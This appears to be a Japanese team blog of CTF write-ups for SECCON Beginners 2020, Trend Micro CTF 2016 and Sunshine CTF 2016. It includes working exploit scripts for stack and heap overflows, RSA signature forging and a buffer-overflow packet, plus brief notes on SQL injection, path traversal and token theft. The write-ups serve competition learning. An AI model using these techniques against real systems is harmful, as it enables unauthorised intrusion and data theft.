24 May 2020, 23:27

SECCON Beginners CTF 2020 Write-up

2020-05-23 14:00 - 2020-05-24 14:00 (JST)に開催されたSECCON Beginners CTF 2020のwrite-upです。

なお、今回は以下のメンバー編成で参加しました。

  • yuscarlet
  • mayth
  • yyu
  • favcastle

Pwn

Beginner’s Stack

Let’s learn how to abuse stack overflow!

64bit ELFのバイナリが与えられる。これがサーバーで動いている。

実行すると

Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffeb1443ac0 | 0x00007f30a003dfc8 | <-- buf
                   +--------------------+
0x00007ffeb1443ac8 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffeb1443ad0 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffeb1443ad8 | 0x00007f30a0078190 |
                   +--------------------+
0x00007ffeb1443ae0 | 0x00007ffeb1443af0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffeb1443ae8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffeb1443af0 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007ffeb1443af8 | 0x00007f309fe740b3 | <-- return address (main)
                   +--------------------+
0x00007ffeb1443b00 | 0x0000000100000001 |
                   +--------------------+
0x00007ffeb1443b08 | 0x00007ffeb1443be8 |
                   +--------------------+

といった感じに目標と現時点のスタックフレームが示される親切設計となっている。ついでに目的のwin関数では、system("/bin/sh")を呼び出してくれる。つまりwin関数を呼べれば自動的にシェルが取れる。

さて、IDAで実行ファイルを見てみると、vulnという関数で入力を受け付けてbufに格納していることがわかる。このとき、buf0x20(32)byteしかない一方で、read関数を呼ぶときに入力サイズを0x200に設定していて、ここでスタックオーバーフローが発生する。これを使って"return address (vuln)“となっている箇所を書き換えればよい。飛び先となるwin関数のアドレスは分かっているし、“return address"までの長さも分かっているので、次のような入力を与える(エンディアンに注意)。

$ perl -e 'print "A"x40 . "\x61\x08\x40"' | ./chall

これは失敗する。

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

というわけで、rsp(スタックポインタ)が0x10の倍数になっていないといけない。スタックポインタは8byteずつ動くので、push/popが呼び出される回数を1回増やすか減らすかする。

win関数があるという0x400861だが、これは関数の先頭、すなわちpush rbpを指している。これによってズレているのだとすれば、この命令を飛ばせばよいはずである。push rbpの直後の0x400862を書き込むようにする。

$ perl -e 'print "A"x40 . "\x62\x08\x40"' | ./chall
...
Congratulations!

祝福されたものの即座に終了してしまう。試しにncで実際の問題サーバーに投げ込んでも、同様に応答が返ってこなくなる。これで1時間以上は潰していたのだが、神の助言によってstraceをしてみると、どうもsystem("/bin/sh")は呼べているがttyが取れなくて死んでいるようだった。

どうしたものか悩んだところで、そういえばpwntoolsにinteractiveとかいうメソッド生えてなかったっけ、これでttyの代わりにならんか、と思い出してpwntoolsを使ってみる。

1
2
3
4
5
6
7
8
9
from pwn import *

context.arch = 'amd64'

io = process('chall')

vuln_ret = pack(0x400862)
io.sendline(b'A' * 40 + vuln_ret)
io.interactive()

これを実行すると無事に対話的にコマンドが打てるようになった。接続先を問題サーバーにして実行し、対話環境に入ったところでフラグをcatした。

Beginner’s Heap

この問題を解くにあたってはこちらの記事が大変参考になった: t-cache poisoning: FireShell CTF 2019 babyheap - ふるつき

さて、こちらはバイナリがない。ncで問題サーバーに繋ぐとこんな表示が現れる。

Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fe9b33978e8
 <win>: 0x56491d3be465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint

この対話環境を操作し、ヒープオーバーフローを使ってwin関数を呼び出すのが目標となる。なお、__free_hookwin関数のアドレスは毎回変化する(検証のために再実行を繰り返しているため、以下のコンソール出力の例示では__free_hookだとするアドレスが変化しているが、その辺りはよしなに読み替えてほしい)。

A0x18byteしかない一方で、1の操作で0x80byteまで書くことができる。Bにはオーバーフローの脆弱性はないが、2の操作でmallocして書き込み、3の操作でfreeができる。残りはヒープ状態の表示、tcacheの状態の表示、そしてヒントの表示である。

何はともあれヒントを見てみる。

Tcache manages freed chunks in linked lists by size.
Every list can keep up to 7 chunks.
A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk.
Let's check what happens when you overwrite fd by Heap Overflow.

まず2でBをmallocして適当な値を書き込み、3でfreeする。この時点で4/5を実行すると次のような状態であることがわかる。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x558bbf3eb330
 [+] B = (nil)
                   +--------------------+
0x0000558bbf3eb320 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb328 | 0x0000000000000021 |
                   +--------------------+
0x0000558bbf3eb330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x0000558bbf3eb338 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb340 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb348 | 0x0000000000000021 |
                   +--------------------+
0x0000558bbf3eb350 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb358 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb360 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000558bbf3eb350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ヒントにあったfd0x0000558bbf3eb350(元々Bがあった場所)になっている。 この状態でmallocを行うと確保されたアドレスとして0x0000558bbf3eb350が返ってくるのだが、ヒープレイアウトを見てわかる通り、この領域はAのヒープオーバーフローによって書き換えられる。とりあえず目標の0x0000558bbf3eb350__free_hookのアドレスに書き換えてみる。先ほどの教訓を生かして最初からpwntoolsを使うことにした。

1
p.sendline(b'X' * 0x20 + p64(free_hook_addr))

これでヒントを見るとチャンクサイズが壊れているか大きすぎると言われる。

It seems __free_hook is successfully linked to tcache!
But the chunk size is broken or too big maybe...?
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000556bb204b350(rw-) ]
        ||
        \/
[ 0x00007fe2b3efe8e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

fdの直前8byteがチャンクサイズなのだが、先ほどの入力では0x5858585858585858になっている。これを適当に0x20にするとヒントが変わる。

1
2
p.sendlineafter("> ", '1')
p.sendline(b'X' * 0x18 + p64(0x20) + p64(free_hook_addr))
It seems __free_hook is successfully linked to tcache!
But you can't get __free_hook since you can only malloc/free B.
What if you change the chunk size to a value other than 0x20...?

あまりに大きすぎると先ほどのように壊れていると言われるので、0x30にすると次の段階になった。

It seems __free_hook is successfully linked to tcache!
And the chunk size is properly forged!

ここでもう一度Bmallocと書き込みを行う。ここで書き込む内容はなんでもよい。

1
2
p.sendlineafter("> ", '2')
p.sendline(b'X' * 0x10)

この段階でのヒントはこんな感じ。

It seems __free_hook is successfully linked to tcache!
The first link of tcache is __free_hook!
But B is not empty...

Bfreeして空にしてみる。

It seems __free_hook is successfully linked to tcache!
The first link of tcache is __free_hook!
Also B is empty! You know what to do, right?

ここでtcacheの状態を見てみると、Bfreeしたのにここに追加されておらず、__free_hookのアドレスだけが残っていることがわかる。

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00007fc20362c8e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

最初のヒントには以下の記載があった。

Tcache manages freed chunks in linked lists by size.

また、冒頭に挙げた記事にも次の記載がある。

定数TCACHE_MAX_BINSはデフォルトでは64になっていて、キャッシュされるサイズは0x18, 0x28, 0x38, …, 0x408バイト以下というように区切られています。

つまり、先ほどチャンクサイズを0x30ということにしたため、今mallocしてfreeしたBはtcacheの別のリストに追加された、ということだと思う(たぶん)。

さて、この状態になると次のmallocでは__free_hookのアドレスが返ってくる。__free_hookfreeしたときに呼び出される関数へのポインタである。したがって、今mallocして返ってきた領域にwin関数のアドレスを書き込んでfreeを呼ぶと、代わりにwin関数が呼び出される。最後に出力を表示するのを忘れずに。

1
2
3
4
5
6
p.sendlineafter('> ', '2')
p.sendline(pack(win_addr))

p.sendlineafter('> ', '3')

log.info(p.recvline_contains("ctf4b"))

Crypto

R&B

先頭の文字を見て、Bならbase64decode、RならROT13decodeを繰り返す。

Noisy equations

下記のPythonプログラムが動いている。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

この変数FLAGの内容を知ることができればOKという問題。 answersが表示されているが、これには乱数getrandbits(L)が加算されているので、 2回分のデータを使っていくという方法がある。 いま1回目の結果得られたcoeffsを\(C_1\)、そして2回目を\(C_2\)とすると、 これらは次のような行列である。

$$ \begin{align*} C_1 &= \left[ \begin{array}{cccc} c^1_{1,1} & c^1_{1,2} & \dots & c^1_{1,44} \\
\vdots & \ddots & & \vdots \\
\vdots & & \ddots & \vdots \\
c^1_{44,1} & c^1_{44,2} & \dots & c^1{44,44} \end{array} \right] \\
\\
C_2 &= \left[ \begin{array}{cccc} c^2_{1,1} & c^2_{1,2} & \dots & c^2_{1,44} \\
\vdots & \ddots & & \vdots \\
\vdots & & \ddots & \vdots \\
c^2_{44,1} & c^2_{44,2} & \dots & c^2_{44,44} \end{array} \right] \end{align*} $$

そしてanswerは1回目を\(A_1\)、そして2回目を\(A_2\)とすると次のようになる。

$$ \begin{align*} A_1 &= \left[ \begin{array}{c} a^1_{1} \\
\vdots \\
a^1_{44} \end{array} \right] \\
\\
A_2 &= \left[ \begin{array}{c} a^2_{1} \\
\vdots \\
a^2_{44} \end{array} \right] \end{align*} $$

ここで\(a^1_{i} - a^2_{i}\)について考える。求めたいFLAGの1文字目から\(x_1, \dots, x_{44}\)とすると、

$$ a^1_{i} = \left(\sum^{44}_{j=1}{C^1_{i,j} \times x_j}\right) + R_i $$

であり、この\(R_i\)はgetrandbits(L)だがPythonプログラムを見ると、シードを固定しているため、 どんな値なのかよく分からないが毎回同じ結果になる。 したがって、\(a^1_{i} - a^2_{i}\)は次のように\(R_i\)がキャンセルされる。

$$ a^1_{i} - a^2_{i} = \left(\sum^{44}_{j=1}{C^1_{i,j} \times x_j}\right) - \left(\sum^{44}_{j=1}{C^2_{i,j} \times x_j}\right) $$

したがってこれを行列表現すると

$$ \left[ \begin{array}{c} a^1_{1} - a^2_{1} \\
\vdots \\
a^1_{44} - a^2_{44} \end{array} \right] = \left[ \begin{array}{cccc} c^1_{1,1} - c^2_{1,1} & c^1_{1,2} - c^2_{1,2} & \dots & c^1_{1,44} - c^2_{1,44} \\
\vdots & \ddots & & \vdots \\
\vdots & & \ddots & \vdots \\
c^1_{44,1} - c^2_{44,1} & c^1_{44,2} - c^2_{44,2} & \dots & c^1_{44,44} - c^2_{44,44} \end{array} \right] \left[ \begin{array}{c} x_{1} \\
\vdots \\
x_{44} \end{array} \right] $$

したがってあとは\(C_1 - C_2\)の逆行列からFLAGを得られる。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import json
import numpy as np
from numpy.linalg import inv

stream = os.popen("nc noisy-equations.quals.beginners.seccon.jp 3000")

coeffs1 = json.loads(stream.readline())
answer1 = json.loads(stream.readline())

stream2 = os.popen("nc noisy-equations.quals.beginners.seccon.jp 3000")

coeffs2 = json.loads(stream2.readline())
answer2 = json.loads(stream2.readline())

coeff_diffs =np.matrix(
    [ [ c1 - c2 for (c1, c2) in zip(c1s, c2s) ] for (c1s, c2s) in zip(coeffs1, coeffs2)  ],
    dtype = 'float'
)

answer_diffs = np.transpose(
        np.matrix(
            [ a1 - a2 for (a1, a2) in zip(answer1, answer2) ],
            dtype = 'float'
        )
)

coeff_diffs_inv = inv(
    np.matrix(coeff_diffs, dtype = 'float')
)
flag = np.transpose(np.linalg.solve(coeff_diffs, answer_diffs))

flag_int = np.around(flag).astype(int).tolist()[0]

print(flag)

print( "".join([ chr(i) for i in flag_int ]) )

RSA Calc

下記のようなプログラムが動いている。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except:
            sys.stdout.write('Error\n')
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()

Fまたは1337を含まないならば、任意の文字列に署名してくれる。そしてスタック署名されたスタックマシンの命令列を実行し、狙ったところに入れる(そのためにF1337が必要)ことができればフラグが入手できる。 RSAの準同型性を利用した。端的にいうと、いまRSAのパラメーターとして\(N, e, d\)と、任意の平文\(m_1, m_2\)があるとして、RSAは次がなりたつ。

$$ \text{Sign}_{d, N}(m_1 \times m_2) \equiv \text{Sign}_{d, N}(m_1) \times \text{Sign}_{d, N}(m_2) \bmod N $$

よって次のようなプランでアタックする。

  1. \(2\)に署名させる
  2. \(\frac{\mathtt{1337,F}}{2}\)した値に署名させる
    • 偶然1337,Fの数値表現は\(2\)で割り切ることができた
  3. 上記2つの署名をかけ算して\(N\)で割った余りをとる
    • これが1337,Fの署名となっている
  4. 1337,Fを実行し、署名として(3)で得られたものを入れる

これをやるのが下記のプログラムである。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import numpy as np
import re
import socket
from Crypto.Util.number import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("rsacalc.quals.beginners.seccon.jp", 10001))
data = s.recv(4096).decode("utf-8")
data_n = re.search('N: (\d+)\n', data).group(1)

N = int(data_n)

print("N: " + str(N))

command = bytes_to_long(b'1337,F')
half_command = int(command / 2)

print("command: " + str(command))

# Get `2` signature
s.sendall(b'1\n')
print(s.recv(1024).decode("utf-8"))

s.sendall(b'\02\n')

signature_2 = int(
    re.search('Signature: ([\da-f]+)', s.recv(4096).decode("utf-8")).group(1),
    16
)

print("signature_2: " + str(signature_2))

# Get `half_command` signature
s.sendall(b'1\n')
print(s.recv(1024).decode("utf-8"))

s.sendall(
    half_command.to_bytes((half_command.bit_length() + 7) , byteorder='big', signed=False) + b'\n'
)

signature_half_command = int(
    re.search('Signature: ([\da-f]+)', s.recv(4096).decode("utf-8")).group(1),
    16
)

print("signature half command: " + str(signature_half_command))

# Calculate signature
signature_command = signature_half_command * signature_2 % N

print("GOOOOOOOOOOOOOOOOOO")

# Execute command
s.sendall(b'2\n')
print(s.recv(1024).decode("utf-8"))
s.sendall(b'1337,F\n')
print(s.recv(1024).decode("utf-8"))
sig = (format(signature_command, 'x')).encode("ascii")

s.sendall(sig + b'\n\n')

print(s.recv(2024).decode("utf-8"))

Web

Spy

ユーザの有無でサーバの応答時間が変わるので、全ユーザー試して列挙。

Tweetstore

SQLインジェクションでユーザ情報を表示する。

unzip

解凍後に../../../../../../../../../flag.txtを展開するzipをアップロード。

profiler

Burp Suiteで通信を覗くと、APIでGraphQLが使われていることがわかる。 AltairというChrome拡張機能でGraphQLのクエリを送ることができる。 利用できそうなAPIを探すと、他の人のprofileが覗けそうなsomeoneとトークンをアップデートできそうなupdateTokenが見つかる。 someoneでuid:adminを指定してリクエストすると、adminのTokenが参照できる。 ここで手に入れた値をupdateTokenで指定すると、自分のTokenがadminと同じトークンに変更できる。 この状態でflagページにアクセスすると、flagが表示される。

Reversing

mask

Ghidraに食わせると、flagの各文字を& 0x75した文字列と& 0xebした文字列が見つかるので、これらの論理和を計算。

yakisoba

Ghidraに食わせると、flagの各文字を判定する関数が見つかるので、読む。

ghost

実装が与えられているので、総当たり。

Misc

Welcome

Discordを見る。

emoemoencode

絵文字の文字コードの下2桁をasciiにする。

readme

/proc/self/environでpwdが/home/ctf/serverとわかるので、/proc/self/cwd/../flagを渡し、相対パスでアクセス。

17 Aug 2016, 00:17

Trend Micro CTF 2016 Online qualifier

日本時間 2016-07-30 13:00 から 2016-07-31 13:00まで(24時間)に行われたTrend Micro CTF 2016のwrite-upです。

urandomは4問解答し600点、92位でした。

Analysis-Offensive 100をyyu、Analysis-Offensive 200、Misc 100、Misc 200をmaythが解答しました。

Analysis - Offensive 100

Category: Analysis/Offensive

Points: 100

Please enter key. Key is TMCTF flag.

Download the file Decrypt the downloaded file by the following command.

openssl enc -d -aes-256-cbc -k x0nSTZ9NrDgvCnqKhL9y -in files1.enc -out files1.zip

unzip files1.zip

この問題は巨大なJavaScriptから正解の鍵を得るというものです。 まず、巨大なJavaScriptのうちの多くの部分は定数をGoogleで調べるなどすると、MD5を実装しているということが分かります。そして、次の3つの文字列もMD5のハッシュ値であろうという推測ができます。

1
2
3
4
5
var ko = "c33367701511b4f6020ec61ded352059";

var ka = "61636f697b57b5b7d389db0edb801fc3";

var kq = "d2172edf24129e06f3913376a12919a4";

これらをまたGoogleで調べると、それぞれ次のような文字列であることが分かります。

  • c33367701511b4f6020ec61ded352059654321
  • 61636f697b57b5b7d389db0edb801fc3qwerty
  • d2172edf24129e06f3913376a12919a4admin

そして次の処理でこれらの文字列を変数nlに従って並び換えているということが分かります。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
var c = "", d = "", e = "";
for (var f = 0; f < b.length; ) {
    c += b[nl[++f]];
    d += b[nl[++f]];
    e += b[nl[++f]];
}

// ......中略......

var nl = [ 0, 2, 1, 12, 7, 15, 5, 4, 8, 16, 17, 3, 9, 10, 14, 11, 13, 6, 0 ];

最終的にフラグはTMCTF{q6r4dy5ei2na1twm3}でした。

Analysis - Offensive 200

Category: Analysis - offensive

Points: 200

This challenge is composed of a simple remote overflow of a global array. The server address is 52.197.128.90 and the vulnerable application listens on TCP port 80-85. Each port has the same behavior so you can select one of them.

The following code contains a bug that can be exploited to read back a flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int pwned;
char buffer[1024];

DWORD WINAPI CallBack(LPVOID lpParameter) {
	pwned = 0;
	ZeroMemory(buffer, 1024);
	SOCKET *sock = (SOCKET *)lpParameter;
	SOCKET _sock = *sock;
	send(_sock, "Welcome", 8, 0);
	int ret = 0;
	ret = recv(_sock, buffer, 1028, 0);
	printf("[x] RET: %d.\n", ret);
	printf("[x] PWNED: 0x%x.\n", pwned);
	Sleep(1);
	if (((pwned >> 16)&0xFFFF ^ 0xc0fe) == 0x7eaf && (((pwned & 0xFFFF)^0x1a1a) == 0xdae4)) {

			send(_sock, "PWNED", 5, 0);
			ReadAndReturn(L"key.txt", _sock);
			closesocket(_sock);
			return 0;
	}
	else {
		send(_sock, "GO AWAY", 7, 0);
		closesocket(_sock);
	}

	return 0;
 }

Craft a packet that would return a valid flag. Good luck!

bufferが1024バイトしか確保されていないにもかかわらず、11行目で ret = recv(_sock, buffer, 1028, 0); と1028バイト読み込むようになっている。したがって、1025-1028バイトの範囲に特定のバイト列を仕込めばよい。満たすべき条件は15行目のif文。

なぜか nc が1024バイトで送信を打ち切ってしまったので、Rubyで書いた。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
require 'socket'

HOST = '52.197.128.90'
port = (80..85).to_a.sample

puts "connecting #{HOST}:#{port}"
sock = TCPSocket.open('52.197.128.90', port)

payload = 'a' * 1024 + "\xfe\xc0\x51\xbe"

sock.read(8)
sock.send(payload, 0)
while r = sock.gets
  puts r
end

そして正解をメモし忘れた 😇

Misc 100

Category: Misc(iot and network)

Points: 100

Please analyze this pcap.

pcapファイルが渡される。中身を見ると、IPsecな通信と、普通にtelnetしている通信がある。

Wiresharkでtelnetでのやりとりをテキストとして見ると、 ip xfrm stateを叩いている箇所がある。

.]0;[email protected]:~.[[email protected] ~]$ sudo ip xfrm state
.sudo ip xfrm state
[sudo] password for reds: ynwa
.
src 1.1.1.11 dst 1.1.1.10
	proto esp spi 0xfab21777 reqid 16389 mode tunnel
	replay-window 32 flag 20
	auth hmac(sha1) 0x11cf27c5b3357a5fd5d26d253fffd5339a99b4d1
	enc cbc(aes) 0xfa19ff5565b1666d3dd16fcfda62820da44b2b51672a85fed155521bedb243ee
src 1.1.1.10 dst 1.1.1.11
	proto esp spi 0xbfd6dc1c reqid 16389 mode tunnel
	replay-window 32 flag 20
	auth hmac(sha1) 0x829b457814bd8856e51cce1d745619507ca1b257
	enc cbc(aes) 0x2a340c090abec9186c841017714a233fba6144b3cb20c898db4a30f02b0a003d
src 1.1.1.10 dst 1.1.1.11
	proto esp spi 0xeea1503c reqid 16389 mode tunnel
	replay-window 32 flag 20
	auth hmac(sha1) 0x951d2d93498d2e7479c28c1bcc203ace34d7fcde
	enc cbc(aes) 0x6ec6072dd25a6bcb7b9b3b516529acb641a1b356999f791eb971e57cc934a5eb
src 1.1.1.11 dst 1.1.1.10
	proto esp spi 0xd4d2074d reqid 16389 mode tunnel
	replay-window 32 flag 20
	auth hmac(sha1) 0x100a0b23fc006c867455506843cc96ad26026ec0
	enc cbc(aes) 0xdcfbc7d33d3c606de488c6efac4624ed50b550c88be0d62befb049992972cca6

この情報を元に、IPsecの通信の中身を見ることができる。すると、HTTPでいくつかやりとりをしている箇所が見つかる。その中に flag.png というファイルのダウンロードが含まれている。これを抽出して開くと、フラグが書かれている。

Misc 200

Category: Misc(iot and network)

Points: 200

find all LTE bands this phone supported.

the final answer will be from small to big, and use ‘,’ to seperate without spaces.

example> if the answer is band 1 and 2 and 3, the key should be: “TMCTF{1,2,3}”

ModemSettings.txt というファイルが与えられ、そこからその携帯電話の対応しているLTEバンドを答える。

この ModemSettings.txt はどうやら NV-items_reader_writerというソフトウェアによる出力らしい。

LTEのバンドに関する設定は"6828"番にあるという。該当する箇所を引用する。

6828 (0x1AAC)   -   OK
FF 1D 1F 03 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

ここに書き込まれている数値が対応LTEバンドを表している。ビット単位で読んで、あるビットが立っていたら、そのビットと対応するバンドをサポートしていることを意味している。最右ビットがバンド1に対応する。

寝起きでつらいワンライナーを書いておしまい。エンディアンに注意。

1
i=0; puts (0x031F1DFF).to_s(2).reverse.split(//).map { |c| i +=1; [c, i] }.select { |x| x[0] == '1' }.map { |x| x[1] }.join(',')

15 Mar 2016, 01:42

Sunshine CTF 2016 Write-up

2016-03-13 01:00 - 2016-03-14 05:00 (JST)に開催されたSunshine CTF 2016のwrite-upです。

なお、今回は以下のメンバー編成で参加しました。

  • mayth (土曜日を寝て潰す担当)
  • op (たまに現れていくらかの助言と違法語句を残して去って行く担当)

ESTはクソ。

Forensics 50: Butterfly Effect

butterfly.pngが与えられる。

ImgSteganoにファイルを読み込ませて"Image > Enhanced LSB"とするとフラグが現れた。

sun{RE4DY_THE_4CID_M4GNET!}

Exploitation 50: alligatorsim95

Don’t try to automate adding X eggs at a time

legends circulate in florida of an alligator that had laid millions of eggs. use this simulator to try to achieve the same greatness

※プログラムは与えられない。

指定されたIPアドレス/ポートにncで接続すると、アリゲーターのAAと共に文章が流れてくる。

-> u r... AN ALLIGATOR!!
.. simulating alligator lifecycle ..
.. simulating alligator throwing physics..
-> you got 1337 eggz in ur nest, how many you gonna lay alligator??

この後に整数値を入力すると、その数だけ卵の数(上記の通り初期値1337)が増える。ただし上限は50。それを超えると拒否され再度同様のプロンプトが現れる。接続を切られるのは以下の通り。

  • echoとかで入力を機械的に流し込もうとしたとき (“Don’t try to automate adding X eggs at a time”)
  • 0や数字として解釈出来ない数を与えたとき
  • 一定時間が経過したとき

この条件下で卵の数を大きくする問題。

色々入力を試すと、0はダメだが負数を受け付けること、また、負数であれば絶対値がいくら大きくてもよいことがわかった。 これを利用すると整数オーバーフローを引き起こすことができる。そうすると卵の数は非常に大きな値となり、フラグを得ることができる。

-> u r... AN ALLIGATOR!!
.. simulating alligator lifecycle ..
.. simulating alligator throwing physics..
-> you got 1337 eggz in ur nest, how many you gonna lay alligator?? -2147483647
~~ producing eggz ~~
.. simulating alligator lifecycle ..
.. simulating alligator throwing physics..
-> you got -2147482310 eggz in ur nest, how many you gonna lay alligator?? -10
~~ producing eggz ~~
.. simulating alligator lifecycle ..
.. simulating alligator throwing physics..
-> you got -2147482320 eggz in ur nest, how many you gonna lay alligator?? -40000
~~ producing eggz ~~
-> dang 2147444976 is a lotta eggs
-> as a god among gators here is ur crown:
sun{int_0verflow_i5_a_g0od_st4rt}

sun{int_0verflow_i5_a_g0od_st4rt}

Exploitation 55: Dance

Some prefer the stanky leg, others prefer the dab, but what dance moves do you have?

IPアドレスとポート番号が指定される。当初プログラムは与えられなかったが、後にフラグ部分を潰したバイナリが配布された。

サーバーに接続すると以下のような文字が流れてくる。

welcome to the pro club. you just paid a door fee and have no respect. earn ur cred on the dancefloor!
give us ur sick dance moves like so:
whip,naenae,whip,whip,naenae<ENTER>

whipnaenaeをカンマ区切りで並べて送信すると

do the naenae
(\)
  \(:O)
   /||\_
_/¯    ¯\_

こんな感じで対応したアクションと愉快なAAが流れてくる。

当初何をさせたいのかさっぱりわからなかったが、バイナリが配布されたのでそれを読んだ。

その結果、こちらからの入力を受け取るバッファについて、memsetで80bytesをNULLで初期化しているにも関わらず、fgetsで最大89bytesまで読み込むようになっていることがわかった。また、0で初期化された特定の変数の値が書き換わっているときにフラグが表示されるようになっていることがわかった。

入力の読み込みはだいたい次のようなロジックになっている。

while (strlen(buf) > 0) {
  if (*buf == 'n') {
    buf += 7;
    donaenae();
  } else if (*buf == 'w') {
    buf += 5;
    dowhip();
  }
}
check_flag();

先頭しか見てないっぽいので適当に80文字の"n"を送り付けたところ、フラグが得られた。

% ruby -e 'puts "n" * 0x50' | nc ****
welcome to the pro club. you just paid a door fee and have no respect. earn ur cred on the dancefloor!
give us ur sick dance moves like so:
whip,naenae,whip,whip,naenae<ENTER>
do the naenae
(\)
  \(:O)
   /||\_
_/¯    ¯\_
(snip)
do the naenae
(\)
  \(:O)
   /||\_
_/¯    ¯\_
girl u can dance w the best of em. the pw to our vip lounge is: sun{d4nc3_0n_th3_s7ack}

cool dance! come again!

sun{d4nc3_0n_th3_s7ack}

Misc 50: Find Floridaman

In other news… Floridaman did what with an alligator?

Remember, this has the normal flag format.

Hint: You need only look at comments from Florida-based news websites.

Hint: Gator went threw a window!

Hint: “Flori-duh”

NOTE: Flag was posted before the 12th

フロリダマンを探すマン。

